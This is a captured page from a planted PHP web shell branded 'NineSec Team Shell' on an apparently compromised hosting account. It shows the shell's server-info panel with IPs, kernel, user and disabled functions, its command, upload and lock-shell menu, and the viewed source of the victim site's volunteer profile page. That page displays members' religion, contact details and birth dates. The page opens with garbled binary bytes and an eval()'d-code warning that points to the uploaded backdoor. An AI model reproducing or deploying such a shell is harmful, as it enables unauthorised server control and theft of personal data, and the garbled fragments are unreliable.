JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../volunteer.php
<?php 
include 'includes/header.php';
require_once 'config/database.php';

// Check if user ID is provided
if (!isset($_GET['id']) || empty($_GET['id'])) {
    header('Location: participants.php');
    exit;
}

$user_id = intval($_GET['id']);

// Query to get user data with profile details
$query = "SELECT u.id, u.first_name, u.last_name, u.email, u.phone, u.religion, u.country, u.city, u.profile_picture, u.registration_date,
                 up.date_of_birth, up.gender, up.address, up.state, up.postal_code, up.bio, up.updated_at
          FROM users u 
          LEFT JOIN user_profiles up ON u.id = up.user_id 
          WHERE u.id = ?";
$stmt = $pdo->prepare($query);
$stmt->execute([$user_id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

if (!$user) {
    echo "<div class='section'><div class='container'><p>User not found.</p></div></div>";
    include 'includes/footer.php';
    exit;
}
?>

<section class="section">
    <div class="container">
        <a href="participants.php" class="btn btn-secondary" style="margin-bottom: 20px;">
            <i class="fas fa-arrow-left"></i> Back to Participants
        </a>
        
        <div class="card">
            <div style="display: flex; flex-wrap: wrap; gap: 30px;">
                <!-- Left Column: Profile Picture and Basic Info -->
                <div style="flex: 1; min-width: 300px; text-align: center;">
                    <div style="width: 200px; height: 200px; border-radius: 50%; overflow: hidden; margin: 0 auto 20px; border: 5px solid #667eea;">
                        <?php if (!empty($user['profile_picture']) && file_exists($user['profile_picture'])): ?>
                            <img src="<?php echo $user['profile_picture']; ?>" 
                                 alt="<?php echo htmlspecialchars($user['first_name'] . ' ' . $user['last_name']); ?>"
                                 style="width: 100%; height: 100%; object-fit: cover;">
                        <?php else: ?>
                            <div style="width: 100%; height: 100%; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
                                        display: flex; align-items: center; justify-content: center; color: white; font-size: 4rem;">
                                <?php echo strtoupper(substr($user['first_name'], 0, 1) . substr($user['last_name'], 0, 1)); ?>
                            </div>
                        <?php endif; ?>
                    </div>

                    <h2><?php echo htmlspecialchars($user['first_name'] . ' ' . $user['last_name']); ?></h2>
                    <div style="margin-bottom: 15px;">
                        <span class="religion-badge" style="background: <?php 
                            echo $user['religion'] == 'Christian' ? '#4CAF50' : 
                                 ($user['religion'] == 'Muslim' ? '#2196F3' : '#FF9800'); 
                        ?>; color: white; padding: 5px 15px; border-radius: 20px; font-size: 1rem;">
                            <?php echo htmlspecialchars($user['religion']); ?>
                        </span>
                    </div>

                    <div style="font-size: 1rem; color: #666; margin-bottom: 5px;">
                        <i class="fas fa-map-marker-alt"></i> 
                        <?php 
                        $location = $user['country'];
                        if (!empty($user['city'])) {
                            $location = $user['city'] . ', ' . $location;
                        }
                        echo htmlspecialchars($location);
                        ?>
                    </div>

                    <div style="font-size: 0.9rem; color: #999; margin-top: 20px;">
                        Member since: <?php echo date('M j, Y', strtotime($user['registration_date'])); ?>
                    </div>
                </div>

                <!-- Right Column: Detailed Information -->
                <div style="flex: 2; min-width: 300px;">
                    <h3 style="margin-bottom: 20px;">Profile Details</h3>

                    <?php if (!empty($user['bio'])): ?>
                        <div style="margin-bottom: 30px;">
                            <h4>About Me</h4>
                            <p style="line-height: 1.6; color: #666;"><?php echo nl2br(htmlspecialchars($user['bio'])); ?></p>
                        </div>
                    <?php endif; ?>

                    <!-- Contact Information -->
                    <div style="margin-bottom: 30px;">
                        <h4>Contact Information</h4>
                        <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px;">
                            <?php if (!empty($user['email'])): ?>
                                <div class="contact-info">
                                    <i class="fas fa-envelope"></i>
                                    <div>
                                        <strong>Email</strong><br>
                                        <a href="mailto:<?php echo htmlspecialchars($user['email']); ?>" style="color: #667eea;">
                                            <?php echo htmlspecialchars($user['email']); ?>
                                        </a>
                                    </div>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($user['phone'])): ?>
                                <div class="contact-info">
                                    <i class="fas fa-phone"></i>
                                    <div>
                                        <strong>Phone</strong><br>
                                        <a href="tel:<?php echo htmlspecialchars($user['phone']); ?>" style="color: #667eea;">
                                            <?php echo htmlspecialchars($user['phone']); ?>
                                        </a>
                                    </div>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($user['address'])): ?>
                                <div class="contact-info">
                                    <i class="fas fa-home"></i>
                                    <div>
                                        <strong>Address</strong><br>
                                        <?php echo htmlspecialchars($user['address']); ?>
                                    </div>
                                </div>
                            <?php endif; ?>
                        </div>
                    </div>

                    <!-- Personal Information -->
                    <div>
                        <h4>Personal Information</h4>
                        <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px;">
                            <?php if (!empty($user['date_of_birth'])): ?>
                                <div>
                                    <strong>Date of Birth</strong><br>
                                    <span style="color: #666;"><?php echo date('M j, Y', strtotime($user['date_of_birth'])); ?></span>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($user['gender'])): ?>
                                <div>
                                    <strong>Gender</strong><br>
                                    <span style="color: #666;"><?php echo htmlspecialchars($user['gender']); ?></span>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($user['city'])): ?>
                                <div>
                                    <strong>City</strong><br>
                                    <span style="color: #666;"><?php echo htmlspecialchars($user['city']); ?></span>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($user['state'])): ?>
                                <div>
                                    <strong>State/Province</strong><br>
                                    <span style="color: #666;"><?php echo htmlspecialchars($user['state']); ?></span>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($user['country'])): ?>
                                <div>
                                    <strong>Country</strong><br>
                                    <span style="color: #666;"><?php echo htmlspecialchars($user['country']); ?></span>
                                </div>
                            <?php endif; ?>

                            <?php if (!empty($user['postal_code'])): ?>
                                <div>
                                    <strong>Postal Code</strong><br>
                                    <span style="color: #666;"><?php echo htmlspecialchars($user['postal_code']); ?></span>
                                </div>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <!-- Action Buttons -->
        <div style="display: flex; gap: 15px; justify-content: center; margin-top: 30px;">
            <a href="mailto:<?php echo htmlspecialchars($user['email']); ?>" class="btn btn-primary">
                <i class="fas fa-envelope"></i> Send Email
            </a>
            <?php if (!empty($user['phone'])): ?>
                <a href="tel:<?php echo htmlspecialchars($user['phone']); ?>" class="btn btn-outline">
                    <i class="fas fa-phone"></i> Call Now
                </a>
            <?php endif; ?>
            <a href="participants.php" class="btn btn-secondary">
                <i class="fas fa-users"></i> Browse More Participants
            </a>
        </div>
    </div>
</section>

<style>
.card {
    background: white;
    padding: 30px;
    border-radius: 10px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}

.btn {
    padding: 10px 20px;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    text-decoration: none;
    display: inline-flex;
    align-items: center;
    gap: 8px;
    font-size: 14px;
    transition: all 0.3s ease;
}

.btn-primary {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    color: white;
}

.btn-secondary {
    background: #6c757d;
    color: white;
}

.btn-outline {
    background: transparent;
    border: 1px solid #667eea;
    color: #667eea;
}

.btn-outline:hover {
    background: #667eea;
    color: white;
}

.contact-info {
    display: flex;
    align-items: flex-start;
    gap: 15px;
    margin-bottom: 20px;
}

.contact-info i {
    width: 20px;
    color: #667eea;
    margin-top: 5px;
}

h4 {
    color: #333;
    margin-bottom: 15px;
    border-bottom: 2px solid #f0f0f0;
    padding-bottom: 8px;
}
</style>

<?php include 'includes/footer.php'; ?>

NineSec Team - 2022